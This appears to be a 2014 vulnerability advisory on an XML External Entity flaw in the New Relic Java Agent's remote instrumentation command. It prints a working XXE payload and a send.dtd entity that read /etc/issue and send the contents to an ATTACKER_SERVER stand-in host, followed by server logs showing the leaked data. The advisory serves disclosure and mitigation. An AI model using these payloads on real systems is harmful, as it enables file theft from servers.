+++==========================================================================================+++
   XML External Entity in NewRelic Java Agent via 'get_agent_commands:instrumentation_update'    
   March 28th, 2014 - @_ikki
+++==========================================================================================+++

Tested on NewRelic Java Agent v3.5.0 (latest version at the time of writing). Previous versions are
likely to be affected as well.

[Summary]   
NewRelic Java agent uses a simple HTTP-based protocol to send metrics and receive commands from 
NewRelic's collector server. An undocumented functionality 'get_agent_commands:instrumentation_update' 
is vulnerable to XXE (XML External Entities) attacks. 
As a result, a well-positioned attacker (read Man-in-The-Middle) can exploit this bug to retrieve
sensitive information from customer's hosts running the NewRelic agent. Insecure configuration
settings (ssl: false) can also be abused via MiTM to conduct a similar attack. Depending on the
victim's application and environment, this issue can facilitate further attacks that may potentially
lead to system compromise.

[Vulnerability Details] 
As part of the communication between NewRelic's agent and server, NewRelic's Java agent periodically 
checks the collector to verify the presence of tasks to be executed. 
For instance, a user can initiate JVM profiling from the NewRelic's web interface (https://rpm.newrelic.com/). 
The task gets forwarded to the running application agent via a simple RPC mechanism:

NewRelic Java Agent --> Collector 

POST /agent_listener/invoke_raw_method?method=get_agent_commands&license_key=<USER_KEY>&marshal_format=json
&protocol_version=13&run_id=<JOB_ID> HTTP/1.1

NewRelic Java Agent <-- Collector 

HTTP/1.1 200 OK
{"return_value":[[15550,{"name":"start_profiler","arguments":{"[...]

An undocumented functionality allows remote instrumentation via an 'instrumentation_update' command.
Although custom instrumentation via local XML configuration file is available and well-documented
(http://docs.newrelic.com/docs/java/custom-instrumentation-for-java), remote instrumentation doesn't
seem to be documented or available online for users.

'get_agent_commands:instrumentation_update' is affected by a standard XXE (XML External Entities) flaw.

The command can be abused by providing the following HTTP POST body:

{"return_value":[[15550,name":"instrumentation_update","arguments":instrumentation":config":"<?xml
{"version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE graball [ <!ENTITY % file SYSTEM
{"\"file:////etc/issue\"> <!ENTITY % dtd SYSTEM \"http://ATTACKER_SERVER/send.dtd\"> %dtd; %send;
{"]>"}}}]]}

where send.dtd is hosted on the attacker's server and consists of: 

<!ENTITY % all   "<!ENTITY &#x25; send SYSTEM 'http://ATTACKER_SERVER/?%file;'>" >  %all;

This will cause New Relic's Java agent to parse the attacker's supplied XML, which would trigger an
out-of-bound call with the content of '/etc/issues'

At this stage, the attacker can retrieve the content of the file by looking at the web server's logs:

[28/Mar/2014:22:46:56 -0700] "GET /send.dtd HTTP/1.1" 200 349 "-" "Java/1.7.0_51"
[28/Mar/2014:22:46:56 -0700] "GET /?Linux Mint 15 Olivia \\n \\l HTTP/1.1" 200 490 "-" "Java/1.7.0_51"

[CVSS] 
4.9 (AV:N/AC:H/Au:N/C:N/I:N/A:N)

[Mitigation Factors] 
Users are strongly encouraged to enable HTTPS by setting "ssl: true" in the agent's configuration file 
(newrelic.yml). Since v2.15.0, NewRelic's Java Agent communicates with New Relic via https by default, 
which prevents LAN attackers to exploit this vulnerability. Still, this bug can be exploited by attackers 
with access to NewRelic's datacenter.